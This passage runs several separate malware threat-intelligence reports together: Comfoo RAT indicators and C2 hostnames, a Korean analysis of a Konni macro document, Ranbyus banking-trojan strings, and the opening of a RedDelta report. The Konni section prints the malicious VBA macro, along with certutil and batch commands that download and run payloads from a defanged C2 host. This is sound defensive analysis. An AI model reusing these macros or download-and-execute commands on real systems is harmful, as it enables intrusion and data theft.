attackers." In addition, the malware appears to contain a list of countries to exclude from encryption and in the samples the BlackBerry researchers have seen, the only country on the list is Iran. "It seems that this functionality is not yet implemented, as there are no references to this array in the code," the researchers write. "However, like the references to Iranian attackers and hacking tools, it could just as well be a false flag meant to misdirect our attention" and put blame on Iran. The malware is written in .NET and protected with NETGuard – a commercial product that the researchers call a "modified ConfuserEX," an open-source tool for protecting .NET applications – while also using KoiVM, a virtualization plugin. It used to be a licensed commercial protection for .NET applications, but after its code was open-sourced in 2018, it became publicly available on GitHub. The use of KoiVM as a protector is an unusual method for complicating analysis of the malware that hasn't been seen with many other threat actors and may mark the start of a new trend, according to BlackBerry. The ransomware uses a combination of AES for file encryption and RSA for key protection to encrypt documents on victims' local hard drives and network shares. It then tells the victims to email the attackers to receive instructions for paying the ransom. An early sample of the ransomware was distributed inside trojanized brute-checker hacking tools, including PayPal BruteCheck, Spotify BruteChecker, PiaVNP Brute Checker by ACTEAM, and FPSN Checker by Angeal. Such tools are used to automate validation of stolen accounts and get access to other accounts through credential stuffing, in which hackers use usernames and passwords stolen from one website to log into other websites, sometimes using a botnet to accelerate the process. "It's possible that the LokiLocker version distributed with these hacking tools constituted some kind of beta testing phase before the malware was offered to a wider range of affiliates," the researchers say. Like other ransomware, LokiLocker puts a time limit for paying the ransom and will make the system unusable if the payment isn't made. However, if configured to do so, the malware also includes a wiper function that will erase the data if the payment deadline passes. "It will delete files on all of the victim's drives, except for the system files, and it will also try to overwrite the Master Boot Record (MBR) of the system drive to render the system unusable," the researchers write, adding that the victims are greeted with this message: "You did not pay us. So we deleted all your files :)" Presumably this is so that there's no chance at all to recover the scrambled documents, save from backups. In addition, after overwriting the MBR, the ransomware will try to crash the system by forcing a Blue Screen of Death. The wiper function is part of an escalation by ransomware gangs in recent years to encourage victims to pay the ransom by including additional threats beyond just refusing to decrypt the files, such as erasing data or leaking stolen files on the dark web. There are no free tools to decrypt files captured by LokiLocker and BlackBerry – like the FBI and other security authorities – urge victims not to pay the ransom, arguing that it adds fuel to the global growth in ransomware and there is no guarantee they will get their data returned. Also, even if it is returned, the hackers could have put a backdoor into the system, making the organization more vulnerable to future attacks. "After all, people who pay one ransom can often be persuaded to pay another," the team at BlackBerry concludes.
# Secrets of the Comfoo Masters **Author:** Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit™ **Threat Intelligence** **Date:** 31 July 2013 ## Introduction The details of organized cyber-espionage campaigns are becoming more public. So-called "Advanced Persistent Threat" (APT) attacks are common news as individuals and corporations discover the data on their hard drives is part of a country or competitor's "shopping list." The actors behind these attacks are generally well-equipped in terms of training, finances, and access to resources. The missions of APT threat actors are usually of strategic importance, and the actors exercise virtually unlimited patience in penetrating and persisting inside their specific target's network until they accomplish their goals. One of the universal aspects of APT attacks is the use of malicious software tools that grant unauthorized backdoor access to computer systems inside the targeted network. Because maintaining a beachhead inside the network is often critical to mission success, threat actors must adapt to various network configurations and changes in defenses by choosing and deploying backdoors with specific functionality and features. It is difficult to be persistent without at least one backdoor. Threat actors often possess and use an arsenal of remote access trojans (RATs) to siphon data from their targets. Persistence requires malware, and the top cyber-espionage actors have hundreds of RATs at their disposal at any given time. Understanding the choice and usage of tools can be the keys to identifying and tracking APTs. Dell SecureWorks researchers have identified and classified more than 200 distinct malware families used by various APT groups. Some malware is specially configured off-the-shelf software, and some malware is customized source code of an existing RAT. However, most malware families are proprietary, developed by the APT groups as weapons to be deployed against a variety of targets. Accurate identification and classification of this malware by antivirus (AV) companies is sparse. Shared code, the use of common tools, co-infections, and a history of generic or incorrect classification by multiple names make the automated tracking of these tools by AV companies difficult. This inaccuracy can be detrimental when designing defenses based on specific threat indicators. Tracking APTs requires a dedicated malware intelligence effort. One way applied malware intelligence is used to discover new APT trojans is a recursive investigative method: Malware -> Infrastructure Touchpoints -> New Malware -> and so on. Cyber-espionage actors often cycle through different RATs over a period of years. The Dell SecureWorks Counter Threat Unit™ (CTU) research team has tracked a RAT known as "Comfoo" that has been in continuous development since at least 2006. This RAT has maintained a fairly low profile, even though it was used as part of the RSA breach in 2010, when its code was first analyzed. Antivirus firm Trend Micro briefly mentioned its use in a 2012 paper titled "Luckycat Redux — Inside an APT Campaign with Multiple Targets in India and Japan." However, the disclosure of this trojan and some of its command and control (C2) infrastructure did not discourage its continued use by the threat actors responsible for it. ## Comfoo Characteristics To maintain persistence on the system, Comfoo usually replaces the path to the DLL of an existing unused service rather than installing a new service. A new service is more likely to be noticed by system audits. Sometimes Comfoo is delivered with a rootkit that hides Comfoo's files on disk. Additionally, Comfoo starts the existing "ipnat" system service. This action causes remote inbound connections to the infected system to fail, blocking remote maintenance by the network administrator. ## Network Behavior Comfoo's network traffic is encrypted and encapsulated in HTTP requests and responses, although some variants skip the encapsulation step. Payloads are encrypted by a 10-byte static XOR key that is hard-coded inside the Comfoo binary. Initial login data from the infected system (MAC address, internal IP address, campaign tag, and version data) is passed in the request URI and is additionally encrypted by a dynamic key. ## Capabilities The Comfoo RAT has the following features: - System/network information gathering - Keystroke logging - Screenshots - File upload/download/execute - Command shell ## Comfoo Trojan C2 Software Discovery By studying the network traffic of infected systems, CTU researchers determined that the server side of the Comfoo malware sends an HTTP server header identifying the server version as "Apache 2.0.50 (Unix)." However, the rest of the HTTP headers do not match the order or the formatting used by this version of Apache. This anomaly suggests that the C2 software was a standalone application instead of a series of scripts running under Apache. Searching for the specific server version string in the CTU malware repository produced a sample of the Comfoo server software, identified by the MD5 hash 2b29f0224b632fdd00d0a30527b795b7. ## Analysis The Comfoo C2 server turns out to be a rendezvous-type traffic relay program. This small binary can be deployed on rented or hacked Windows systems, where it passes traffic between Comfoo victims and the Comfoo master console operated by the threat actors. Unlike "dumb" traffic relay servers such as HTran, the Comfoo relay server does not know the location of the master console. Instead, the master console program connects to the relay server on-demand, and any incoming victim data is passed to the master console connection. HTran is sometimes used to add an additional layer of untraceability to the victim connection. Likewise, the administrator can add other layers of proxies or VPN connections to the console connection side of the communication. The Comfoo relay server listens on up to three TCP ports at a time. The first port acts as a control and typically listens on port 1688. It performs the following tasks: - Enables/disables the other ports - Accepts new relay port configuration (stored in rlycfg.dll) - Notifies master console that a new victim connection is available The second port is the admin relay port, which typically listens on port 1689. It accepts connections from the master console to send commands to and receive data from victims' systems. The third port is the victim relay port, which listens on a configurable port number, usually port 80 or port 443. This port accepts connections from victims' systems to send data to and receive commands from the Comfoo administrator encapsulated in HTTP requests and responses. If there is no current connection between the victim and the Comfoo administrator, Comfoo logs the victim's connection and sends an idle response to the victim. ## DNS Resolution Tactics In addition to using rendezvous protocols and HTran forwarding servers, Comfoo operators create and maintain another layer of obfuscation to thwart analysis of their infrastructure. Like many other APT malware families, Comfoo reaches out to its masters based on DNS lookups of certain hostnames. The Comfoo operators commonly use dynamic DNS providers to micromanage the IP addresses to which Comfoo hostnames resolve. While Comfoo sleeps, its operators often set those IP addresses to common or bogus entries. When not being used to actively control Comfoo, the C2 domain name might resolve to the address of a popular search engine or a local loopback (127.0.0.1), private (10.1.1.1), or other special use (0.0.0.0) IP address. Domain names used in Comfoo operations only point to actual control infrastructure during very short time windows. Only during these time windows do alerts from a DNS monitoring tool inform researchers when it might be possible to locate an actual Comfoo server. ## Taking Control The unauthenticated nature of the Comfoo relay server's administrative connections makes it possible to take control of the C2 server and all victims' systems, armed only with knowledge of the protocol, the encryption method, and the static encryption key hard-coded into every Comfoo binary. Researchers can passively monitor victims' logins to the relay servers (sending no commands) by connecting to the correct port on the correct IP address at the right time. This technique is analogous to viewing webserver log data stored in a publicly accessible directory on a C2 server. To help identify and notify victims of Comfoo-based espionage, CTU researchers set up a passive monitoring system for dozens of active Comfoo C2 relays and have been running this system since January 2012. Connections from the monitoring system are periodic, so not all victim logins are observed. Only the initial connection data is logged, and it is not possible to see data being exfiltrated from victims' networks using this method. ## Passive Monitoring Results While monitoring Comfoo, CTU researchers detected more than 200 variants of the trojan and 64 different campaign tags used by the threat actors to organize their campaigns. Numerous government entities and private companies based in the United States, Europe, and Asia Pacific had Comfoo-infected computers phoning home to the Comfoo C2 infrastructure. Much of the traffic emanated from multiple Japanese and Indian government ministries. CTU researchers outlined the Japanese attack campaign in a previous analysis entitled "Chasing APT." The following industries were also targeted: - Education - Energy - Mineral exploration - News media - Semiconductors - Steel manufacturing - Think tanks - Telecommunications - Trade organizations - Audio and videoconferencing products The targeting of audio and videoconferencing products is unusual. CTU researchers speculate that the threat actors might be looking for intellectual property relating to audio and videoconferencing. Another possibility is that it could be a clever and stealthy way of listening and watching activities of both commercial and government organizations. ## Detecting Comfoo in the Enterprise The presence of Comfoo on a network or computer can be detected in a variety of ways, even if AV engines lack detection for the latest variants. Analysts can search for known Comfoo threat indicators in network traffic, on hard drives, in memory, or in the Windows registry. ### Network Detection A typical Comfoo HTTP phone-home request looks like the following: ``` GET /CWoNaJLBo/VTNeWw11212/12664/12VTNfNmM1aQ/UTWOqVQ132/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: en-en User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: smtp.dynami-clink.ddns.us Connection: Keep-Alive Cache-Control: no-cache ``` An active C2 server responds with headers similar to the following: ``` HTTP/1.1 200 OK Date: Mon, 29 Jul 2013 19:26:15 GMT Server: Apache/2.0.50 (Unix) Content-Length: 10 Keep-Alive: timeout=15, max=90 ``` ### Disk/Memory/Registry Detection The unique string `T1Y943jIhk` can be found in the Comfoo binary. Offline forensic analysis may be required to search for this string if a rootkit is in play. These additional strings can be searched but are not guaranteed to be unique to Comfoo: - `CPUSpeed:%d.%dGHz` - `CPUNameString:%s` - `CPUVendorIdentifier:%s` - `CPUIdentifier:%s` - `No %d CPU Information:` - `SystemCurrent Time:` - `systemBoot Time:` - `IE BHO Name:%s` - `11. IE BHO Information!` - `10. IE Version Information!` - `9. InstallApp Information!` - `8. NETBIOS Information!` - `7. Protocol Information!` - `6. NET Information!` - `5. Disk Information!` - `4. Account Information!` - `3. System Time!` - `2. CPU Type!` - `Can not get this information, error code is %d.` - `Windows Version Information!` Additionally, Comfoo uses the `SetEvent` Windows API and registers an event that frequently contains the word "GAME." The following are example Comfoo event names: - `exclusiveinstance12` - `THIS324NEWGAME` - `MYGAMEHAVESTART` - `MYGAMEHAVEstarted` - `MYGAMEHAVESTARTEd` - `MYGAMEHAVESTARTED` - `thisisanewfirstrun` - `THISISASUPERNEWGAMENOWBEGIN` - `thisisnewtrofor024` To persist without adding new registry entries, Comfoo edits an unused system service configuration, replacing the DLL path and setting it to auto-start on boot. For example, a system service registry key entry changed by Comfoo might resemble the following: ``` system\CurrentControlSet\Services\Netman\Parameters Original: "ServiceDll" => "%SystemRoot%\System32\netman.dll" Modified: "ServiceDll" => "C:\WINDOWS\system32\tabcteng.dll" system\CurrentControlSet\Services\Netman Original: "Start" => "3" Modified: "Start" => "2" ``` Comfoo hijacks service settings for some legitimate service DLLs: - `netman.dll` - `rasauto.dll` - `sens.dll` The following are DLL names commonly used by Comfoo: - `cmmos.dll` - `jacpet.dll` - `javadb.dll` - `mszlobm.dll` - `netfram.dll` - `netman.dll` - `ntdapie.dll` - `ntdelu.dll` - `ntobm.dll` - `odbm.dll` - `senss.dll` - `suddec.dll` - `tabcteng.dll` - `vmmreg32.dll` - `wininete.dll` If Comfoo successfully connects to the relay server and receives commands from the master console, then it creates a file named `mstemp.temp` on the infected system to store the output of the last shell command. ## Conclusion Comfoo is the tip of an iceberg. The CTU research team notified many Comfoo victims, either directly or through the computer security incident response teams (CSIRTs) in their respective country. Analysis was also shared with law enforcement. Based on the number of campaign tags observed in malware samples versus those seen in live monitoring by the CTU research team, there are likely hundreds more unidentified victims. Most businesses will never see a Comfoo infection. However, evaluating whether an organization is a potential target of cyber-espionage is important in any risk evaluation. Chief information security officers should maintain awareness of any reported cyber-espionage threats in their business sector. If one player in an industry is targeted, it is likely all major players (or newcomers with interesting technology) in that industry will be targets at some point. Organizations compromised by Comfoo (or most types of APT malware) likely face a major forensic and eradication effort. This effort should be followed by a major investment in security measures to keep cyber-espionage actors out of the network. Many in-house security teams do not have the APT expertise to respond to a persistent threat that requires a persistent, active, and layered defense model spanning the entire attack surface of an organization. As a result, the organization might need outside expertise to effectively mitigate these types of threats. ## Appendix: Comfoo Hostnames for Blacklisting Consideration ``` accounts.ddns.info active.googleupdate.hk active.nifty-user.com addr.googleupdate.hk ahn06.myfw.us allroot80.4pu.com apf.googleupdate.hk aptlkxqm.25u.com back.agfire.com back.winsupdate.com bbs.dynssl.com bbs.gladallinone.com bigdog.winsself.com billgates.itsaol.com bjllgvtms.effers.com blizzcon.sexidude.com blizzcon.sexxxy.biz buffet80.bigmoney.biz buffet80.itsaol.com buffet.bbsindex.com bxpudqx.otzo.com catawarm.gicp.net cell.missingthegirl.com cmart.iownyour.org config.microupdata.com copyright.imwork.net cpt.csinfos.net crsky.systemsupdata.com database.googleupdate.hk davidcat.yick.lflink.com daviddog.gicp.net db.themmdance.com ddns.yourturbe.org deminich.gicp.net deminich.jungleheart.com demi.yick.lflink.com dgoil.3322.org dns.google-login.com do.centr-info.com dolaamen.xicp.net domain.centr-info.com domain.nifty-user.com download.yourturbe.org dunya.8800.org et.stoneqwer.com eudge.3322.org eudge.redirect.hm european.pass.as eurowizard.byinter.net facebook.nifty-japan.com fact.winsupdate.com fbook.google-login.com fish.windwarp.uicp.net football.deminich.jungleheart.com football.dynamiclink.ddns.us foxpart.oicp.net free3w.lflinkup.org fr.washbart.com ftp.alvinton.jetos.com ftp.lucky.ddns.ms ftpserver.3-a.net ftp.superaround.ns02.biz ftp.y3.3-a.net funew.noorno.com fun.marktie.com funnygamea.vicp.net games.jeepworker.com games.noorno.com googlemail.servehttp.com googleupdate2009.kmip.net graymmy.longmusic.com gws01.microupdata.com gws12.microupdata.com havefuns.rkntils.10dig.net henryclub.25u.com hfwwpofuyer.4pu.com homehost.3322.org https.port25.biz hyphen.dyndns.biz hzg002.mooo.com image.google-login.com image.qpoe.com info.kembletech.com info.rumorse.com info.whandjg.net insert.51vip.biz office-sevice.com intrusion.post-horse.net it.buglan.com it.davyhop.com it.pudnet.net johnnees.rkntils.10dig.net kapa2000.3322.org kimomail.3-a.net korea001.tribeman.com korea1.mooo.com kx.davyhop.com lanama.jkub.com lcyma.jetos.com li.noorno.com livedoor.microupdata.com login.yahoo-user.com lovehill.3d-game.com lovehill.dyndns-blog.com lovehill.xxuz.com lsass.google-login.com luck201202.oicp.net mail911.nifty-login.com mail911.nifty-user.com mail91.nifty-login.com mail91.nifty-user.com mail.carsystm.net mail.lthreebox.com mail.mgtfcayman.com mail.mofa.zyns.com mailsrv.mariofreegame.net mail.systemsupdata.com mail.xygong.com manpower.3322.org marhone.vicp.net mdb.clawsnare.com mf.tpznet.com microsoft.redirect.hm mil.winsupdate.com snsupport.servehttp.com zp.amazingrm.com zp.tpznet.com ```
# 코니(Konni) APT 조직, 러시아 문서로 위장한 공격 등장 안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다. 지난 08월 16일(금) 러시아어 파일명을 쓰는 악성파일이 보안 모니터링 과정 중에 발견되었습니다. 그러나 해당 악성문서는 한국어 기반으로 제작되었습니다. ESRC는 공격벡터와 코드기법 등을 종합적으로 분석한 결과 코니(Konni) 시리즈로 분석을 완료하였습니다. 코니 시리즈는 수년간 꾸준히 발견되는 위협 캠페인 중에 하나이며, 06월 10일 스페셜 리포트를 공개한 바 있습니다. ## 러시아 문서로 위장한 APT 공격 분석 식별된 악성파일은 MS Word 문서파일로 파일명은 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 입니다. 이 러시아어를 구글 번역기에 적용해 한국어로 변환하면 '한반도의 상황과 미국과 북한의 대화전망' 표현이 됩니다. 문서파일 내부 코드를 보면, 'ObjectPool' 스트림과 VBA 매크로가 포함된 것을 알 수 있습니다. 악성 문서파일은 매크로 기능을 통해 악성코드가 작동하고, 오브젝트에 포함된 코드를 통해 명령제어(C2) 서버로 연결을 시도합니다. 악성 문서파일이 실행되면 다음과 같이 러시아어로 작성된 화면이 흐리게 보이고, 보안 경고 메시지가 보여집니다. 악성 DOC 문서의 본문을 흐리게 만든 이유는 이용자로 하여금 매크로 실행을 유도하는 기법입니다. 만약, 이용자가 문서화면에 이상함을 느껴 [콘텐츠 사용] 버튼을 클릭하게 되면 정상적인 문서 화면이 나타나면서, 백그라운드로 악성 매크로 코드가 실행됩니다. DOC 문서는 본문이 러시아어로 작성되어 있지만, 문서 내부 코드페이지는 한국어(949)가 사용되었습니다. 공격자가 악성코드를 작성할 때 한국어 기반에서 만들었다는 점을 추정할 수 있는 단서 중에 하나입니다. 매크로 코드는 다음과 같이 구성되어 있는데, 과거 코니 시리즈에서 유사한 사례가 포착된 바 있습니다. ```vb module: ThisDocument Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Attribute VB_Control = "TextBox2, 1, 1, MSForms, TextBox" Attribute VB_Control = "TextBox3, 2, 2, MSForms, TextBox" Public Function Hex2Chr(ByVal HexValue As String) As String For i = 1 To Len(HexValue) Num = Mid(HexValue, i, 2) Value = Value & Chr(Val("&h" & Num)) i = i + 1 Next i Hex2Chr = Value End Function Private Sub Document_Open() Dim nResult As Long Dim sCmdLine As String With ActiveDocument.Content .Font.ColorIndex = wdBlack End With If (TextBox1.Text <> "") Then sCmdLine = Environ("windir") nResult = InStr(Application.Path, "x86") If nResult <> 0 Then sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text) Else sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text) End If sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text) nResult = Shell(sCmdLine, vbHide) TextBox1.Text = "" TextBox2.Text = "" TextBox3.Text = "" ActiveDocument.Save End If End Sub ``` 매크로 코드 명령에 의해 'ObjectPool' 스트림에 포함되어 있는 'contents' 오브젝트가 실행됩니다. 이 코드 내부에는 특정 HEX 값이 포함되어 있습니다. 이 HEX 코드들의 ASCII 코드를 스트링 형태로 살펴보면 다음과 같이 나타납니다. 이 코드를 문자열로 변환하면 매크로에 의해 접속되는 C2 서버와 배치파일 명령을 볼 수 있게 됩니다. ``` copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat ``` 공격자가 사용한 C2 서버는 'handicap.eu5[.]org' 주소이며, '1.txt' 파일을 불러오고, '1.txt' 파일은 Base64 코드로 인코딩되어 있습니다. 해당 코드는 시스템 경로에 존재하는 정상파일 'certutil.exe' 파일을 임시폴더(temp) 경로에 'mx.exe' 파일명으로 복사한 후 '1.txt' Base64 코드를 디코딩하게 됩니다. 디코딩된 '1.txt' 파일은 배치파일 명령어 조합으로 C2 주소로 접속해 파일을 받게 됩니다. ``` @echo off if not exist "%PROGRAMFILES(x86)%" ( mx -urlcache -split -f "http://handicap.eu5[.]org/2.txt" > nul mx -decode -f 2.txt setup.cab > nul del /f /q 2.txt > nul ) else ( mx -urlcache -split -f "http://handicap.eu5[.]org/3.txt" > nul mx -decode -f 3.txt setup.cab > nul del /f /q 3.txt > nul ) del /f /q mx.exe > nul if not exist "setup.cab" (goto EXIT) expand setup.cab -F:* "%TEMP%" > nul del /f /q setup.cab > nul :CHECK_ADMIN net session > nul if %errorlevel% equ 0 (goto ADMIN) else (goto NONADMIN) :ADMIN del /f /q "%TEMP%\mshlpweb.dll" > nul "%TEMP%\install.bat" > nul goto EXIT :NONADMIN rundll32 "%TEMP%\mshlpweb.dll", EntryPoint "%TEMP%\install.bat" goto EXIT :EXIT del /f /q "%~dpnx0" > nul ``` '2.txt', '3.txt' 파일도 동일하게 Base64 인코딩된 파일이며, 복호화를 거친 후, 'setup.cab' 압축파일로 생성되고, 내부에 존재하는 최종 악성 페이로드를 로드하게 됩니다. 각각 32비트, 64비트용 동일 기능의 악성코드가 포함되어 있습니다. 공격자는 '4.txt' 파일을 이용해 자유자재로 정보탈취 제어를 수행할 수 있으며, 감염 시스템의 정보를 수집하게 됩니다. ## 유사 악성 문서 비교 ESRC는 이러한 공격 흐름을 2019년 01월 21일 제작된 코니(Konni) 시리즈에서 목격한 바 있습니다. 당시 발견된 악성파일은 다음과 같은 화면을 보여주며, 1차 세계대전 관련 내용을 러시아어로 담고 있습니다. 관련 분석은 'Tencent Security'에서 공개한 바 있습니다. 지난 01월 발견된 악성문서 역시 러시아어로 내용을 담고 있지만, 동일하게 코드페이지가 한글(949)로 설정되어 있습니다. 또한 매크로 코드도 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 사례와 거의 동일합니다. 두개의 매크로 코드를 비교해 보면 동일한 패턴으로 작성이 되었으며, C2가 숨겨진 곳도 일치합니다. 물론 일부 난독화 방식에서 변화가 존재합니다. 'geopol18.doc' 파일도 'ObjectPool' 경로에 다음과 같은 C2 코드가 포함되어 있으나, 이번 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 파일처럼 HEX 코드로 숨겨져 있진 않습니다. 당시 사용된 C2 서버는 코니 시리즈에서 계속 사용된 바 있는 '1apps[.]com' 도메인이 사용되었습니다. 이렇게 동일한 APT 공격 조직이 조금씩 코드를 변경하면서 유포 중인 것을 확인할 수 있습니다. ## 의도적으로 조작된 변종 2019년 06월 14일, 싱가폴 지역에서 바이러스토탈로 업로드된 코니 변종이 식별됩니다. 이 변종 코드를 비교해 보면, 'geopol18.doc' 파일에서 하드코딩된 C2 주소만 특정 보안업체 도메인으로 의도적으로 조작한 것을 확인할 수 있습니다. 각 악성 DOC 문서에 포함된 ASCII 코드의 스트링 데이터를 비교해 보면, DOC 구조적으로 제작한 것이 아님을 추정할 수 있습니다. ESRC에서는 코니(Konni) 캠페인을 추적 조사하는 과정에서 최근까지 김수키(Kimsuky) APT 그룹과 연관되는 단서들을 지속적으로 발견하고 있습니다. 두 APT 조직 간의 연관성에 대해 아직 다른 곳에서는 언급되지 않았지만, 단순 우연으로 보기에는 어려운 부분들이 많이 있습니다. 코니 시리즈의 캠페인이 지속적으로 발견되고 있다는 점에서, 꾸준한 관찰이 필요해 보입니다.
# Trojan.Win32/Spy.Ranbyus Received a mail with an interesting exe. This bot is used by one group of Russian carders and is not for sale; they call it 'triton'. IDA Map file imported to Olly; without IDA, I got a huge problem to understand the exe. ## Injects: 1. Decoded strings (some, not everything): - &pp=1 - reg add " - &files=1 - nabagent.exe - putty.exe - [MOUSE R %dx%d] - POST - SeShutdownPrivilege - UniStream.exe - cbsmain.exe - HKLM\ - jawt.dll - &net=1 - disk%u.xml - &scrn=1 - &cmd=1 - UZ.DB3 - GET - iexplore.exe - ThunderRT6FormDC - com.bifit.harver.core.DocumentBrowserFrame - drweb.exe - nabwatcher.exe - WINNT - bc_loader.exe - avfwsvc.exe - [VK_END] - .iBank* - aswupdsv.exe - %s\tmp%xa%04d.$$$ - \/servlets\/ibc - bclient.exe - EnableLUA - secring - client7.exe - Western Union® Translink™ - Tiny Client-Bank - bsi.dll - Content-type: multipart/form-data, boundary=%s - Edit - java.exe - sign.key - \\.\PhysicalDrive0 - inbank-start-ff.exe - Content-Disposition: form-data; name="data"; filename="1" - clbank.exe - BBClient.exe - WS2_32.DLL - ComSpec - iscc.exe - SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run - avengine.exe - WebMoney Keeper Classic - a:\keys.dat - oncbcli.exe - logs - nortonantibot.exe - ContactNG.exe - BUTTON - wclnt.exe - ashwebsv.exe - mj=%u&mi=%u&pt=%u&b=%u&dc=%u - sgbclient.exe - cbsmain.dll - avmailc.exe - Software\Microsoft\Windows NT\CurrentVersion\ - winlogon.exe - webmoney.exe - egui.exe - /c del - --%s-- - auth-attr-\d+-param1=.*&auth-attr-\d+-param2=.* - intpro.exe - vshwin32.exe - firefox.exe - mcshield.exe - Password: - nabmonitor.exe - UNIStream® - Software\Microsoft\Windows\CurrentVersion\Policies\System - &file=2 - rclient.exe - .jks - cfp.exe - translink.exe - Content-Transfer-Encoding: binary - ntvdm.exe - SysDebug32 - %s?id=%s&session=%u&v=%u&name=%s - &av= - avp.exe - System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List - cmdagent.exe - WINSCARD.DLL - " /v EnableLUA /t REG_DWORD /d 0 /f - bankcl.exe - Software\Microsoft\Windows\CurrentVersion - safari.exe - avconsol.exe - elbank.exe - username=.*&password=.* - pubring=(.*) - javax.swing.JFrame - secring=(.*) - javaw.exe - ISClient.exe - JVM.DLL - bk.exe - auth-attr-\d+-param1=(.*)&auth-attr-\d+-param2=([^&]*) - ekrn.exe - sched.exe - avgnt.exe - avwebgrd.exe - startclient7.exe - master.key - avsynmgr.exe - SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Aleksandr Matrosov knows better than me this threat; go have a look at his article. ## Login: Statistics: Active bots with smartcard: Screenshots (SR): Clicking on a random day: A screenshot taken by the bot: ## Filelist (FL): - File (F): - Keys (K): - Bot informations: ## Orders to send: Download list: Some task URLs: - hxxp://whispers.ru/upload/term.exe - hxxp://178.18.249.11/cono.exe - hxxp://hoombauls.com/cono.exe - hxxp://deluxe1924.com/cc/d.exe - hxxp://deluxe1924.com/cc/car2.exe - hxxp://gramma.pro/update.exe - hxxp://girgrozn.narod2.ru/01/CONO.exe - hxxp://deluxe1924.com/cc/picpic.exe - hxxp://gramma.pro/update.exe - hxxp://deluxe1924.com/cc/fun2101.exe - hxxp://www.mobi-sys.ru/en/lox.exe - hxxp://likeme.pro/update.exe - hxxp://ejdovberk.org/MRD.exe - hxxp://www.enmtp.com/admin/lunt30.exe - hxxp://178.18.249.10/exel.exe - hxxp://orlik.pro/update1.exe - hxxp://whispers.ru/upload/MLN1.exe - hxxp://www.enmtp.com/admin/termclean.exe - hxxp://www.enmtp.com/admin/IMRD.exe Some files can be found here: [vxvault.siri-urz.net](http://vxvault.siri-urz.net/ViriList.php?IP=209.61.202.242)
# RedDelta Cyberespionage Campaign Overview While there is considerable overlap between the observed TTPs of RedDelta and the threat activity group publicly referred to as Mustang Panda (also known as BRONZE PRESIDENT and HoneyMyte), there are a few notable distinctions which lead us to designate this activity as RedDelta: The version of PlugX used by RedDelta in this campaign employs a different C2 traffic encryption method and has a different configuration encryption mechanism than traditional PlugX. The malware infection chain employed in this campaign has not been publicly reported as used by Mustang Panda. In addition to targeting entities related to the Catholic Church, Insikt Group also identified RedDelta targeting law enforcement and government entities in India and a government organization in Indonesia. Insikt Group® researchers used proprietary Recorded Future Network Traffic Analysis and RAT controller detections, along with common analytical techniques, to identify and profile a cyberespionage campaign attributed to a suspected Chinese state-sponsored threat activity group, which we are tracking as RedDelta. Data sources include the Recorded Future® Platform, Farsight Security’s DNSDB, SecurityTrails, VirusTotal, Shodan, BinaryEdge, and common OSINT techniques. This report will be of greatest interest to network defenders of private sector, public sector, and non-governmental organizations with a presence in Asia, as well as those interested in Chinese geopolitics. ## Executive Summary From early May 2020, The Vatican and the Catholic Diocese of Hong Kong were among several Catholic Church-related organizations that were targeted by RedDelta, a Chinese-state sponsored threat activity group tracked by Insikt Group. This series of suspected network intrusions also targeted the Hong Kong Study Mission to China and the Pontifical Institute for Foreign Missions (PIME), Italy. These organizations have not been publicly reported as targets of Chinese threat activity groups prior to this campaign. The targeting of entities related to the Catholic Church is likely indicative of CCP objectives in consolidating control over the “underground” Catholic church, “sinicizing religions” in China, and diminishing the perceived influence of the Vatican within China’s historically persecuted “underground” Catholic community. In addition to the Holy See itself, another likely target of the campaign includes the current head of the Hong Kong Study Mission to China, whose predecessor was considered to have played a vital role in the 2018 agreement. The suspected intrusion into the Vatican would offer RedDelta insight into the negotiating position of the Holy See ahead of the deal’s September 2020 renewal. The targeting of the Hong Kong Study Mission and its Catholic Diocese could also provide a valuable intelligence source for both monitoring the diocese’s relations with the Vatican and its position on Hong Kong’s pro-democracy movement amidst widespread protests and the recent sweeping Hong Kong national security law. ## Key Judgments The organizations targeted by RedDelta in this campaign largely align with historical activity publicly reported on the threat activity group Mustang Panda, with the group previously linked to intrusion attempts targeting the Police of the Sindh Province in Pakistan, law enforcement organizations in India, and the targeting of entities within Myanmar, Hong Kong, and Ethiopia. The group is also suspected to have previously targeted China Center (China Zentrum e.V), a non-profit organization whose members include Catholic aid organizations, religious orders, and dioceses in Germany, Austria, Switzerland, and Italy, and other organizations associated with religious and minority groups. ## Infrastructure Analysis In this campaign, RedDelta favored three primary IP hosting providers and used multiple C2 servers within the same /24 CIDR ranges across intrusions. Preferred hosting providers included 2EZ Network Inc (Canada), Hong Kong Wen Jing Network Limited, and Hong Kong Ai Jia Su Network Limited. The group consistently registered domains through GoDaddy, with WHOIS data providing additional linkages between domains used by the threat activity group. Insikt Group identified two primary clusters of RedDelta infrastructure used throughout this campaign, referred to as the “PlugX cluster” and the “Poison Ivy and Cobalt Strike cluster.” ## Malware Analysis ### RedDelta PlugX: ‘Hong Kong Security Law’ Lure The first sample, titled “About China’s plan for Hong Kong security law.zip,” corresponds to the Union of Catholic Asian News lure delivering the RedDelta PlugX variant. The ZIP file is likely to have been delivered via a spearphishing email. The ZIP contains two files: - **Hk.exe** - A legitimate Adobe executable that is vulnerable to DLL sideloading. - **Hex.dll** - The malicious DLL sideloaded by hk.exe that decodes and loads adobeupdate.dat. ### RedDelta PlugX: ‘Qum, the Vatican of Islam’ Lure The second PlugX sample uses the same loading 